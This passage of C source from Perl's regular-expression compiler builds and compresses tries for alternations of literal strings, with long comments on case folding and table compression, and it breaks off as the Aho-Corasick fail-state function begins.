PerlMemShared_calloc( word_count + 1, \ sizeof(U16) ); \ trie->jump[curword] = (U16)(noper_next - convert); \ if (!jumper) \ jumper = noper_next; \ if (!nextbranch) \ nextbranch= regnext(cur); \ } \ \ if ( dupe ) { \ /* It's a dupe. Pre-insert into the wordinfo[].prev */\ /* chain, so that when the bits of chain are later */\ /* linked together, the dups appear in the chain */\ trie->wordinfo[curword].prev = trie->wordinfo[dupe].prev; \ trie->wordinfo[dupe].prev = curword; \ } else { \ /* we haven't inserted this word yet. */ \ trie->states[ state ].wordnum = curword; \ } \ } STMT_END #define TRIE_TRANS_STATE(state,base,ucharcount,charid,special) \ ( ( base + charid >= ucharcount \ && base + charid < ubound \ && state == trie->trans[ base - ucharcount + charid ].check \ && trie->trans[ base - ucharcount + charid ].next ) \ ? trie->trans[ base - ucharcount + charid ].next \ : ( state==1 ? special : 0 ) \ ) #define TRIE_BITMAP_SET_FOLDED(trie, uvc, folder) \ STMT_START { \ TRIE_BITMAP_SET(trie, uvc); \ /* store the folded codepoint */ \ if ( folder ) \ TRIE_BITMAP_SET(trie, folder[(U8) uvc ]); \ \ if ( !UTF ) { \ /* store first byte of utf8 representation of */ \ /* variant codepoints */ \ if (! UVCHR_IS_INVARIANT(uvc)) { \ TRIE_BITMAP_SET(trie, UTF8_TWO_BYTE_HI(uvc)); \ } \ } \ } STMT_END #define MADE_TRIE 1 #define MADE_JUMP_TRIE 2 #define MADE_EXACT_TRIE 4 STATIC I32 S_make_trie(pTHX_ RExC_state_t *pRExC_state, regnode *startbranch, regnode *first, regnode *last, regnode *tail, U32 word_count, U32 flags, U32 depth) { /* first pass, loop through and scan words */ reg_trie_data *trie; HV *widecharmap = NULL; AV *revcharmap = newAV(); regnode *cur; STRLEN len = 0; UV uvc = 0; U16 curword = 0; U32 next_alloc = 0; regnode *jumper = NULL; regnode *nextbranch = NULL; regnode *convert = NULL; U32 *prev_states; /* temp array mapping each state to previous one */ /* we just use folder as a flag in utf8 */ const U8 * folder = NULL; /* in the below add_data call we are storing either 'tu' or 'tuaa' * which stands for one trie structure, one hash, optionally followed * by two arrays */ #ifdef DEBUGGING const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tuaa")); AV *trie_words = NULL; /* along with revcharmap, this only used during construction but both are * useful during debugging so we store them in the struct when debugging. */ #else const U32 data_slot = add_data( pRExC_state, STR_WITH_LEN("tu")); STRLEN trie_charcount=0; #endif SV *re_trie_maxbuff; GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_MAKE_TRIE; #ifndef DEBUGGING PERL_UNUSED_ARG(depth); #endif switch (flags) { case EXACT: case EXACT_ONLY8: case EXACTL: break; case EXACTFAA: case EXACTFUP: case EXACTFU: case EXACTFLU8: folder = PL_fold_latin1; break; case EXACTF: folder = PL_fold; break; default: Perl_croak( aTHX_ "panic! In trie construction, unknown node type %u %s", (unsigned) flags, PL_reg_name[flags] ); } trie = (reg_trie_data *) PerlMemShared_calloc( 1, sizeof(reg_trie_data) ); trie->refcount = 1; trie->startstate = 1; trie->wordcount = word_count; RExC_rxi->data->data[ data_slot ] = (void*)trie; trie->charmap = (U16 *) PerlMemShared_calloc( 256, sizeof(U16) ); if (flags == EXACT || flags == EXACT_ONLY8 || flags == EXACTL) trie->bitmap = (char *) PerlMemShared_calloc( ANYOF_BITMAP_SIZE, 1 ); trie->wordinfo = (reg_trie_wordinfo *) PerlMemShared_calloc( trie->wordcount+1, sizeof(reg_trie_wordinfo)); DEBUG_r({ trie_words = newAV(); }); re_trie_maxbuff = get_sv(RE_TRIE_MAXBUF_NAME, GV_ADD); assert(re_trie_maxbuff); if (!SvIOK(re_trie_maxbuff)) { sv_setiv(re_trie_maxbuff, RE_TRIE_MAXBUF_INIT); } DEBUG_TRIE_COMPILE_r({ Perl_re_indentf( aTHX_ "make_trie start==%d, first==%d, last==%d, tail==%d depth=%d\n", depth+1, REG_NODE_NUM(startbranch), REG_NODE_NUM(first), REG_NODE_NUM(last), REG_NODE_NUM(tail), (int)depth); }); /* Find the node we are going to overwrite */ if ( first == startbranch && OP( last ) != BRANCH ) { /* whole branch chain */ convert = first; } else { /* branch sub-chain */ convert = NEXTOPER( first ); } /* -- First loop and Setup -- We first traverse the branches and scan each word to determine if it contains widechars, and how many unique chars there are, this is important as we have to build a table with at least as many columns as we have unique chars. We use an array of integers to represent the character codes 0..255 (trie->charmap) and we use a an HV* to store Unicode characters. We use the native representation of the character value as the key and IV's for the coded index. *TODO* If we keep track of how many times each character is used we can remap the columns so that the table compression later on is more efficient in terms of memory by ensuring the most common value is in the middle and the least common are on the outside. IMO this would be better than a most to least common mapping as theres a decent chance the most common letter will share a node with the least common, meaning the node will not be compressible. With a middle is most common approach the worst case is when we have the least common nodes twice. */ for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); const U8 *uc; const U8 *e; int foldlen = 0; U32 wordlen = 0; /* required init */ STRLEN minchars = 0; STRLEN maxchars = 0; bool set_bit = trie->bitmap ? 1 : 0; /*store the first char in the bitmap?*/ if (OP(noper) == NOTHING) { /* skip past a NOTHING at the start of an alternation * eg, /(?:)a|(?:b)/ should be the same as /a|b/ * * If the next node is not something we are supposed to process * we will just ignore it due to the condition guarding the * next block. */ regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { uc= (U8*)STRING(noper); e= uc + STR_LEN(noper); } else { trie->minlen= 0; continue; } if ( set_bit ) { /* bitmap only alloced when !(UTF&&Folding) */ TRIE_BITMAP_SET(trie,*uc); /* store the raw first byte regardless of encoding */ if (OP( noper ) == EXACTFUP) { /* false positives are ok, so just set this */ TRIE_BITMAP_SET(trie, LATIN_SMALL_LETTER_SHARP_S); } } for ( ; uc < e ; uc += len ) { /* Look at each char in the current branch */ TRIE_CHARCOUNT(trie)++; TRIE_READ_CHAR; /* TRIE_READ_CHAR returns the current character, or its fold if /i * is in effect. Under /i, this character can match itself, or * anything that folds to it. If not under /i, it can match just * itself. Most folds are 1-1, for example k, K, and KELVIN SIGN * all fold to k, and all are single characters. But some folds * expand to more than one character, so for example LATIN SMALL * LIGATURE FFI folds to the three character sequence 'ffi'. If * the string beginning at 'uc' is 'ffi', it could be matched by * three characters, or just by the one ligature character. (It * could also be matched by two characters: LATIN SMALL LIGATURE FF * followed by 'i', or by 'f' followed by LATIN SMALL LIGATURE FI). * (Of course 'I' and/or 'F' instead of 'i' and 'f' can also * match.) The trie needs to know the minimum and maximum number * of characters that could match so that it can use size alone to * quickly reject many match attempts. The max is simple: it is * the number of folded characters in this branch (since a fold is * never shorter than what folds to it. */ maxchars++; /* And the min is equal to the max if not under /i (indicated by * 'folder' being NULL), or there are no multi-character folds. If * there is a multi-character fold, the min is incremented just * once, for the character that folds to the sequence. Each * character in the sequence needs to be added to the list below of * characters in the trie, but we count only the first towards the * min number of characters needed. This is done through the * variable 'foldlen', which is returned by the macros that look * for these sequences as the number of bytes the sequence * occupies. Each time through the loop, we decrement 'foldlen' by * how many bytes the current char occupies. Only when it reaches * 0 do we increment 'minchars' or look for another multi-character * sequence. */ if (folder == NULL) { minchars++; } else if (foldlen > 0) { foldlen -= (UTF) ? UTF8SKIP(uc) : 1; } else { minchars++; /* See if *uc is the beginning of a multi-character fold. If * so, we decrement the length remaining to look at, to account * for the current character this iteration. (We can use 'uc' * instead of the fold returned by TRIE_READ_CHAR because for * non-UTF, the latin1_safe macro is smart enough to account * for all the unfolded characters, and because for UTF, the * string will already have been folded earlier in the * compilation process */ if (UTF) { if ((foldlen = is_MULTI_CHAR_FOLD_utf8_safe(uc, e))) { foldlen -= UTF8SKIP(uc); } } else if ((foldlen = is_MULTI_CHAR_FOLD_latin1_safe(uc, e))) { foldlen--; } } /* The current character (and any potential folds) should be added * to the possible matching characters for this position in this * branch */ if ( uvc < 256 ) { if ( folder ) { U8 folded= folder[ (U8) uvc ]; if ( !trie->charmap[ folded ] ) { trie->charmap[ folded ]=( ++trie->uniquecharcount ); TRIE_STORE_REVCHAR( folded ); } } if ( !trie->charmap[ uvc ] ) { trie->charmap[ uvc ]=( ++trie->uniquecharcount ); TRIE_STORE_REVCHAR( uvc ); } if ( set_bit ) { /* store the codepoint in the bitmap, and its folded * equivalent. */ TRIE_BITMAP_SET_FOLDED(trie, uvc, folder); set_bit = 0; /* We've done our bit :-) */ } } else { /* XXX We could come up with the list of code points that fold * to this using PL_utf8_foldclosures, except not for * multi-char folds, as there may be multiple combinations * there that could work, which needs to wait until runtime to * resolve (The comment about LIGATURE FFI above is such an * example */ SV** svpp; if ( !widecharmap ) widecharmap = newHV(); svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 1 ); if ( !svpp ) Perl_croak( aTHX_ "error creating/fetching widecharmap entry for 0x%" UVXf, uvc ); if ( !SvTRUE( *svpp ) ) { sv_setiv( *svpp, ++trie->uniquecharcount ); TRIE_STORE_REVCHAR(uvc); } } } /* end loop through characters in this branch of the trie */ /* We take the min and max for this branch and combine to find the min * and max for all branches processed so far */ if( cur == first ) { trie->minlen = minchars; trie->maxlen = maxchars; } else if (minchars < trie->minlen) { trie->minlen = minchars; } else if (maxchars > trie->maxlen) { trie->maxlen = maxchars; } } /* end first pass */ DEBUG_TRIE_COMPILE_r( Perl_re_indentf( aTHX_ "TRIE(%s): W:%d C:%d Uq:%d Min:%d Max:%d\n", depth+1, ( widecharmap ? "UTF8" : "NATIVE" ), (int)word_count, (int)TRIE_CHARCOUNT(trie), trie->uniquecharcount, (int)trie->minlen, (int)trie->maxlen ) ); /* We now know what we are dealing with in terms of unique chars and string sizes so we can calculate how much memory a naive representation using a flat table will take. If it's over a reasonable limit (as specified by ${^RE_TRIE_MAXBUF}) we use a more memory conservative but potentially much slower representation using an array of lists. At the end we convert both representations into the same compressed form that will be used in regexec.c for matching with. The latter is a form that cannot be used to construct with but has memory properties similar to the list form and access properties similar to the table form making it both suitable for fast searches and small enough that its feasable to store for the duration of a program. See the comment in the code where the compressed table is produced inplace from the flat tabe representation for an explanation of how the compression works. */ Newx(prev_states, TRIE_CHARCOUNT(trie) + 2, U32); prev_states[1] = 0; if ( (IV)( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1) > SvIV(re_trie_maxbuff) ) { /* Second Pass -- Array Of Lists Representation Each state will be represented by a list of charid:state records (reg_trie_trans_le) the first such element holds the CUR and LEN points of the allocated array. (See defines above). We build the initial structure using the lists, and then convert it into the compressed table form which allows faster lookups (but cant be modified once converted). */ STRLEN transcount = 1; DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Compiling trie using list compiler\n", depth+1)); trie->states = (reg_trie_state *) PerlMemShared_calloc( TRIE_CHARCOUNT(trie) + 2, sizeof(reg_trie_state) ); TRIE_LIST_NEW(1); next_alloc = 2; for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); U32 state = 1; /* required init */ U16 charid = 0; /* sanity init */ U32 wordlen = 0; /* required init */ if (OP(noper) == NOTHING) { regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; /* we will undo this assignment if noper does not * point at a trieable type in the else clause of * the following statement. */ } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { const U8 *uc= (U8*)STRING(noper); const U8 *e= uc + STR_LEN(noper); for ( ; uc < e ; uc += len ) { TRIE_READ_CHAR; if ( uvc < 256 ) { charid = trie->charmap[ uvc ]; } else { SV** const svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 0); if ( !svpp ) { charid = 0; } else { charid=(U16)SvIV( *svpp ); } } /* charid is now 0 if we dont know the char read, or * nonzero if we do */ if ( charid ) { U16 check; U32 newstate = 0; charid--; if ( !trie->states[ state ].trans.list ) { TRIE_LIST_NEW( state ); } for ( check = 1; check <= TRIE_LIST_USED( state ); check++ ) { if ( TRIE_LIST_ITEM( state, check ).forid == charid ) { newstate = TRIE_LIST_ITEM( state, check ).newstate; break; } } if ( ! newstate ) { newstate = next_alloc++; prev_states[newstate] = state; TRIE_LIST_PUSH( state, charid, newstate ); transcount++; } state = newstate; } else { Perl_croak( aTHX_ "panic! In trie construction, no char mapping for %" IVdf, uvc ); } } } else { /* If we end up here it is because we skipped past a NOTHING, but did not end up * on a trieable type. So we need to reset noper back to point at the first regop * in the branch before we call TRIE_HANDLE_WORD() */ noper= NEXTOPER(cur); } TRIE_HANDLE_WORD(state); } /* end second pass */ /* next alloc is the NEXT state to be allocated */ trie->statecount = next_alloc; trie->states = (reg_trie_state *) PerlMemShared_realloc( trie->states, next_alloc * sizeof(reg_trie_state) ); /* and now dump it out before we compress it */ DEBUG_TRIE_COMPILE_MORE_r(dump_trie_interim_list(trie, widecharmap, revcharmap, next_alloc, depth+1) ); trie->trans = (reg_trie_trans *) PerlMemShared_calloc( transcount, sizeof(reg_trie_trans) ); { U32 state; U32 tp = 0; U32 zp = 0; for( state=1 ; state < next_alloc ; state ++ ) { U32 base=0; /* DEBUG_TRIE_COMPILE_MORE_r( Perl_re_printf( aTHX_ "tp: %d zp: %d ",tp,zp) ); */ if (trie->states[state].trans.list) { U16 minid=TRIE_LIST_ITEM( state, 1).forid; U16 maxid=minid; U16 idx; for( idx = 2 ; idx <= TRIE_LIST_USED( state ) ; idx++ ) { const U16 forid = TRIE_LIST_ITEM( state, idx).forid; if ( forid < minid ) { minid=forid; } else if ( forid > maxid ) { maxid=forid; } } if ( transcount < tp + maxid - minid + 1) { transcount *= 2; trie->trans = (reg_trie_trans *) PerlMemShared_realloc( trie->trans, transcount * sizeof(reg_trie_trans) ); Zero( trie->trans + (transcount / 2), transcount / 2, reg_trie_trans ); } base = trie->uniquecharcount + tp - minid; if ( maxid == minid ) { U32 set = 0; for ( ; zp < tp ; zp++ ) { if ( ! trie->trans[ zp ].next ) { base = trie->uniquecharcount + zp - minid; trie->trans[ zp ].next = TRIE_LIST_ITEM( state, 1).newstate; trie->trans[ zp ].check = state; set = 1; break; } } if ( !set ) { trie->trans[ tp ].next = TRIE_LIST_ITEM( state, 1).newstate; trie->trans[ tp ].check = state; tp++; zp = tp; } } else { for ( idx=1; idx <= TRIE_LIST_USED( state ) ; idx++ ) { const U32 tid = base - trie->uniquecharcount + TRIE_LIST_ITEM( state, idx ).forid; trie->trans[ tid ].next = TRIE_LIST_ITEM( state, idx ).newstate; trie->trans[ tid ].check = state; } tp += ( maxid - minid + 1 ); } Safefree(trie->states[ state ].trans.list); } /* DEBUG_TRIE_COMPILE_MORE_r( Perl_re_printf( aTHX_ " base: %d\n",base); ); */ trie->states[ state ].trans.base=base; } trie->lasttrans = tp + 1; } } else { /* Second Pass -- Flat Table Representation. we dont use the 0 slot of either trans[] or states[] so we add 1 to each. We know that we will need Charcount+1 trans at most to store the data (one row per char at worst case) So we preallocate both structures assuming worst case. We then construct the trie using only the .next slots of the entry structs. We use the .check field of the first entry of the node temporarily to make compression both faster and easier by keeping track of how many non zero fields are in the node. Since trans are numbered from 1 any 0 pointer in the table is a FAIL transition. There are two terms at use here: state as a TRIE_NODEIDX() which is a number representing the first entry of the node, and state as a TRIE_NODENUM() which is the trans number. state 1 is TRIE_NODEIDX(1) and TRIE_NODENUM(1), state 2 is TRIE_NODEIDX(2) and TRIE_NODENUM(3) if there are 2 entrys per node. eg: A B A B 1. 2 4 1. 3 7 2. 0 3 3. 0 5 3. 0 0 5. 0 0 4. 0 0 7. 0 0 The table is internally in the right hand, idx form. However as we also have to deal with the states array which is indexed by nodenum we have to use TRIE_NODENUM() to convert. */ DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Compiling trie using table compiler\n", depth+1)); trie->trans = (reg_trie_trans *) PerlMemShared_calloc( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1, sizeof(reg_trie_trans) ); trie->states = (reg_trie_state *) PerlMemShared_calloc( TRIE_CHARCOUNT(trie) + 2, sizeof(reg_trie_state) ); next_alloc = trie->uniquecharcount + 1; for ( cur = first ; cur < last ; cur = regnext( cur ) ) { regnode *noper = NEXTOPER( cur ); U32 state = 1; /* required init */ U16 charid = 0; /* sanity init */ U32 accept_state = 0; /* sanity init */ U32 wordlen = 0; /* required init */ if (OP(noper) == NOTHING) { regnode *noper_next= regnext(noper); if (noper_next < tail) noper= noper_next; /* we will undo this assignment if noper does not * point at a trieable type in the else clause of * the following statement. */ } if ( noper < tail && ( OP(noper) == flags || (flags == EXACT && OP(noper) == EXACT_ONLY8) || (flags == EXACTFU && ( OP(noper) == EXACTFU_ONLY8 || OP(noper) == EXACTFUP)))) { const U8 *uc= (U8*)STRING(noper); const U8 *e= uc + STR_LEN(noper); for ( ; uc < e ; uc += len ) { TRIE_READ_CHAR; if ( uvc < 256 ) { charid = trie->charmap[ uvc ]; } else { SV* const * const svpp = hv_fetch( widecharmap, (char*)&uvc, sizeof( UV ), 0); charid = svpp ? (U16)SvIV(*svpp) : 0; } if ( charid ) { charid--; if ( !trie->trans[ state + charid ].next ) { trie->trans[ state + charid ].next = next_alloc; trie->trans[ state ].check++; prev_states[TRIE_NODENUM(next_alloc)] = TRIE_NODENUM(state); next_alloc += trie->uniquecharcount; } state = trie->trans[ state + charid ].next; } else { Perl_croak( aTHX_ "panic! In trie construction, no char mapping for %" IVdf, uvc ); } /* charid is now 0 if we dont know the char read, or * nonzero if we do */ } } else { /* If we end up here it is because we skipped past a NOTHING, but did not end up * on a trieable type. So we need to reset noper back to point at the first regop * in the branch before we call TRIE_HANDLE_WORD(). */ noper= NEXTOPER(cur); } accept_state = TRIE_NODENUM( state ); TRIE_HANDLE_WORD(accept_state); } /* end second pass */ /* and now dump it out before we compress it */ DEBUG_TRIE_COMPILE_MORE_r(dump_trie_interim_table(trie, widecharmap, revcharmap, next_alloc, depth+1)); { /* * Inplace compress the table.* For sparse data sets the table constructed by the trie algorithm will be mostly 0/FAIL transitions or to put it another way mostly empty. (Note that leaf nodes will not contain any transitions.) This algorithm compresses the tables by eliminating most such transitions, at the cost of a modest bit of extra work during lookup: - Each states[] entry contains a .base field which indicates the index in the state[] array wheres its transition data is stored. - If .base is 0 there are no valid transitions from that node. - If .base is nonzero then charid is added to it to find an entry in the trans array. -If trans[states[state].base+charid].check!=state then the transition is taken to be a 0/Fail transition. Thus if there are fail transitions at the front of the node then the .base offset will point somewhere inside the previous nodes data (or maybe even into a node even earlier), but the .check field determines if the transition is valid. XXX - wrong maybe? The following process inplace converts the table to the compressed table: We first do not compress the root node 1,and mark all its .check pointers as 1 and set its .base pointer as 1 as well. This allows us to do a DFA construction from the compressed table later, and ensures that any .base pointers we calculate later are greater than 0. - We set 'pos' to indicate the first entry of the second node. - We then iterate over the columns of the node, finding the first and last used entry at l and m. We then copy l..m into pos..(pos+m-l), and set the .check pointers accordingly, and advance pos appropriately and repreat for the next node. Note that when we copy the next pointers we have to convert them from the original NODEIDX form to NODENUM form as the former is not valid post compression. - If a node has no transitions used we mark its base as 0 and do not advance the pos pointer. - If a node only has one transition we use a second pointer into the structure to fill in allocated fail transitions from other states. This pointer is independent of the main pointer and scans forward looking for null transitions that are allocated to a state. When it finds one it writes the single transition into the "hole". If the pointer doesnt find one the single transition is appended as normal. - Once compressed we can Renew/realloc the structures to release the excess space. See "Table-Compression Methods" in sec 3.9 of the Red Dragon, specifically Fig 3.47 and the associated pseudocode. demq */ const U32 laststate = TRIE_NODENUM( next_alloc ); U32 state, charid; U32 pos = 0, zp=0; trie->statecount = laststate; for ( state = 1 ; state < laststate ; state++ ) { U8 flag = 0; const U32 stateidx = TRIE_NODEIDX( state ); const U32 o_used = trie->trans[ stateidx ].check; U32 used = trie->trans[ stateidx ].check; trie->trans[ stateidx ].check = 0; for ( charid = 0; used && charid < trie->uniquecharcount; charid++ ) { if ( flag || trie->trans[ stateidx + charid ].next ) { if ( trie->trans[ stateidx + charid ].next ) { if (o_used == 1) { for ( ; zp < pos ; zp++ ) { if ( ! trie->trans[ zp ].next ) { break; } } trie->states[ state ].trans.base = zp + trie->uniquecharcount - charid ; trie->trans[ zp ].next = SAFE_TRIE_NODENUM( trie->trans[ stateidx + charid ].next ); trie->trans[ zp ].check = state; if ( ++zp > pos ) pos = zp; break; } used--; } if ( !flag ) { flag = 1; trie->states[ state ].trans.base = pos + trie->uniquecharcount - charid ; } trie->trans[ pos ].next = SAFE_TRIE_NODENUM( trie->trans[ stateidx + charid ].next ); trie->trans[ pos ].check = state; pos++; } } } trie->lasttrans = pos + 1; trie->states = (reg_trie_state *) PerlMemShared_realloc( trie->states, laststate * sizeof(reg_trie_state) ); DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Alloc: %d Orig: %" IVdf " elements, Final:%" IVdf ". Savings of %%%5.2f\n", depth+1, (int)( ( TRIE_CHARCOUNT(trie) + 1 ) * trie->uniquecharcount + 1 ), (IV)next_alloc, (IV)pos, ( ( next_alloc - pos ) * 100 ) / (double)next_alloc ); ); } /* end table compress */ } DEBUG_TRIE_COMPILE_MORE_r( Perl_re_indentf( aTHX_ "Statecount:%" UVxf " Lasttrans:%" UVxf "\n", depth+1, (UV)trie->statecount, (UV)trie->lasttrans) ); /* resize the trans array to remove unused space */ trie->trans = (reg_trie_trans *) PerlMemShared_realloc( trie->trans, trie->lasttrans * sizeof(reg_trie_trans) ); { /* Modify the program and insert the new TRIE node */ U8 nodetype =(U8)(flags & 0xFF); char *str=NULL; #ifdef DEBUGGING regnode *optimize = NULL; #ifdef RE_TRACK_PATTERN_OFFSETS U32 mjd_offset = 0; U32 mjd_nodelen = 0; #endif /* RE_TRACK_PATTERN_OFFSETS */ #endif /* DEBUGGING */ /* This means we convert either the first branch or the first Exact, depending on whether the thing following (in 'last') is a branch or not and whther first is the startbranch (ie is it a sub part of the alternation or is it the whole thing.) Assuming its a sub part we convert the EXACT otherwise we convert the whole branch sequence, including the first. */ /* Find the node we are going to overwrite */ if ( first != startbranch || OP( last ) == BRANCH ) { /* branch sub-chain */ NEXT_OFF( first ) = (U16)(last - first); #ifdef RE_TRACK_PATTERN_OFFSETS DEBUG_r({ mjd_offset= Node_Offset((convert)); mjd_nodelen= Node_Length((convert)); }); #endif /* whole branch chain */ } #ifdef RE_TRACK_PATTERN_OFFSETS else { DEBUG_r({ const regnode *nop = NEXTOPER( convert ); mjd_offset= Node_Offset((nop)); mjd_nodelen= Node_Length((nop)); }); } DEBUG_OPTIMISE_r( Perl_re_indentf( aTHX_ "MJD offset:%" UVuf " MJD length:%" UVuf "\n", depth+1, (UV)mjd_offset, (UV)mjd_nodelen) ); #endif /* But first we check to see if there is a common prefix we can split out as an EXACT and put in front of the TRIE node. */ trie->startstate= 1; if ( trie->bitmap && !widecharmap && !trie->jump ) { /* we want to find the first state that has more than * one transition, if that state is not the first state * then we have a common prefix which we can remove. */ U32 state; for ( state = 1 ; state < trie->statecount-1 ; state++ ) { U32 ofs = 0; I32 first_ofs = -1; /* keeps track of the ofs of the first transition, -1 means none */ U32 count = 0; const U32 base = trie->states[ state ].trans.base; /* does this state terminate an alternation? */ if ( trie->states[state].wordnum ) count = 1; for ( ofs = 0 ; ofs < trie->uniquecharcount ; ofs++ ) { if ( ( base + ofs >= trie->uniquecharcount ) && ( base + ofs - trie->uniquecharcount < trie->lasttrans ) && trie->trans[ base + ofs - trie->uniquecharcount ].check == state ) { if ( ++count > 1 ) { /* we have more than one transition */ SV **tmp; U8 *ch; /* if this is the first state there is no common prefix * to extract, so we can exit */ if ( state == 1 ) break; tmp = av_fetch( revcharmap, ofs, 0); ch = (U8*)SvPV_nolen_const( *tmp ); /* if we are on count 2 then we need to initialize the * bitmap, and store the previous char if there was one * in it*/ if ( count == 2 ) { /* clear the bitmap */ Zero(trie->bitmap, ANYOF_BITMAP_SIZE, char); DEBUG_OPTIMISE_r( Perl_re_indentf( aTHX_ "New Start State=%" UVuf " Class: [", depth+1, (UV)state)); if (first_ofs >= 0) { SV ** const tmp = av_fetch( revcharmap, first_ofs, 0); const U8 * const ch = (U8*)SvPV_nolen_const( *tmp ); TRIE_BITMAP_SET_FOLDED(trie,*ch, folder); DEBUG_OPTIMISE_r( Perl_re_printf( aTHX_ "%s", (char*)ch) ); } } /* store the current firstchar in the bitmap */ TRIE_BITMAP_SET_FOLDED(trie,*ch, folder); DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "%s", ch)); } first_ofs = ofs; } } if ( count == 1 ) { /* This state has only one transition, its transition is part * of a common prefix - we need to concatenate the char it * represents to what we have so far. */ SV **tmp = av_fetch( revcharmap, first_ofs, 0); STRLEN len; char *ch = SvPV( *tmp, len ); DEBUG_OPTIMISE_r({ SV *sv=sv_newmortal(); Perl_re_indentf( aTHX_ "Prefix State: %" UVuf " Ofs:%" UVuf " Char='%s'\n", depth+1, (UV)state, (UV)first_ofs, pv_pretty(sv, SvPV_nolen_const(*tmp), SvCUR(*tmp), 6, PL_colors[0], PL_colors[1], (SvUTF8(*tmp) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_ESCAPE_FIRSTCHAR ) ); }); if ( state==1 ) { OP( convert ) = nodetype; str=STRING(convert); STR_LEN(convert)=0; } STR_LEN(convert) += len; while (len--) *str++ = *ch++; } else { #ifdef DEBUGGING if (state>1) DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ "]\n")); #endif break; } } trie->prefixlen = (state-1); if (str) { regnode *n = convert+NODE_SZ_STR(convert); NEXT_OFF(convert) = NODE_SZ_STR(convert); trie->startstate = state; trie->minlen -= (state - 1); trie->maxlen -= (state - 1); #ifdef DEBUGGING /* At least the UNICOS C compiler choked on this * being argument to DEBUG_r(), so let's just have * it right here. */ if ( #ifdef PERL_EXT_RE_BUILD 1 #else DEBUG_r_TEST #endif ) { regnode *fix = convert; U32 word = trie->wordcount; #ifdef RE_TRACK_PATTERN_OFFSETS mjd_nodelen++; #endif Set_Node_Offset_Length(convert, mjd_offset, state - 1); while( ++fix < n ) { Set_Node_Offset_Length(fix, 0, 0); } while (word--) { SV ** const tmp = av_fetch( trie_words, word, 0 ); if (tmp) { if ( STR_LEN(convert) <= SvCUR(*tmp) ) sv_chop(*tmp, SvPV_nolen(*tmp) + STR_LEN(convert)); else sv_chop(*tmp, SvPV_nolen(*tmp) + SvCUR(*tmp)); } } } #endif if (trie->maxlen) { convert = n; } else { NEXT_OFF(convert) = (U16)(tail - convert); DEBUG_r(optimize= n); } } } if (!jumper) jumper = last; if ( trie->maxlen ) { NEXT_OFF( convert ) = (U16)(tail - convert); ARG_SET( convert, data_slot ); /* Store the offset to the first unabsorbed branch in jump[0], which is otherwise unused by the jump logic. We use this when dumping a trie and during optimisation. */ if (trie->jump) trie->jump[0] = (U16)(nextbranch - convert); /* If the start state is not accepting (meaning there is no empty string/NOTHING) * and there is a bitmap * and the first "jump target" node we found leaves enough room * then convert the TRIE node into a TRIEC node, with the bitmap * embedded inline in the opcode - this is hypothetically faster. */ if ( !trie->states[trie->startstate].wordnum && trie->bitmap && ( (char *)jumper - (char *)convert) >= (int)sizeof(struct regnode_charclass) ) { OP( convert ) = TRIEC; Copy(trie->bitmap, ((struct regnode_charclass *)convert)->bitmap, ANYOF_BITMAP_SIZE, char); PerlMemShared_free(trie->bitmap); trie->bitmap= NULL; } else OP( convert ) = TRIE; /* store the type in the flags */ convert->flags = nodetype; DEBUG_r({ optimize = convert + NODE_STEP_REGNODE + regarglen[ OP( convert ) ]; }); /* XXX We really should free up the resource in trie now, as we won't use them - (which resources?) dmq */ } /* needed for dumping*/ DEBUG_r(if (optimize) { regnode *opt = convert; while ( ++opt < optimize) { Set_Node_Offset_Length(opt, 0, 0); } /* Try to clean up some of the debris left after the optimisation. */ while( optimize < jumper ) { Track_Code( mjd_nodelen += Node_Length((optimize)); ); OP( optimize ) = OPTIMIZED; Set_Node_Offset_Length(optimize, 0, 0); optimize++; } Set_Node_Offset_Length(convert, mjd_offset, mjd_nodelen); }); } /* end node insert */ /* Finish populating the prev field of the wordinfo array. Walk back * from each accept state until we find another accept state, and if * so, point the first word's .prev field at the second word. If the * second already has a .prev field set, stop now. This will be the * case either if we've already processed that word's accept state, * or that state had multiple words, and the overspill words were * already linked up earlier. */ { U16 word; U32 state; U16 prev; for (word=1; word <= trie->wordcount; word++) { prev = 0; if (trie->wordinfo[word].prev) continue; state = trie->wordinfo[word].accept; while (state) { state = prev_states[state]; if (!state) break; prev = trie->states[state].wordnum; if (prev) break; } trie->wordinfo[word].prev = prev; } Safefree(prev_states); } /* and now dump out the compressed format */ DEBUG_TRIE_COMPILE_r(dump_trie(trie, widecharmap, revcharmap, depth+1)); RExC_rxi->data->data[ data_slot + 1 ] = (void*)widecharmap; #ifdef DEBUGGING RExC_rxi->data->data[ data_slot + TRIE_WORDS_OFFSET ] = (void*)trie_words; RExC_rxi->data->data[ data_slot + 3 ] = (void*)revcharmap; #else SvREFCNT_dec_NN(revcharmap); #endif return trie->jump ? MADE_JUMP_TRIE : trie->startstate>1 ? MADE_EXACT_TRIE : MADE_TRIE; } STATIC regnode * S_construct_ahocorasick_from_trie(pTHX_ RExC_state_t *pRExC_state, regnode *source, U32 depth) { /* The Trie is constructed and compressed now so we can build a fail array if * it's needed This is basically the Aho-Corasick algorithm. Its from exercise 3.31 and 3.32 in the "Red Dragon" -- Compilers, principles, techniques, and tools. Aho, Sethi, Ullman 1985/88 ISBN 0-201-10088-6 We find the fail state for each state in the trie, 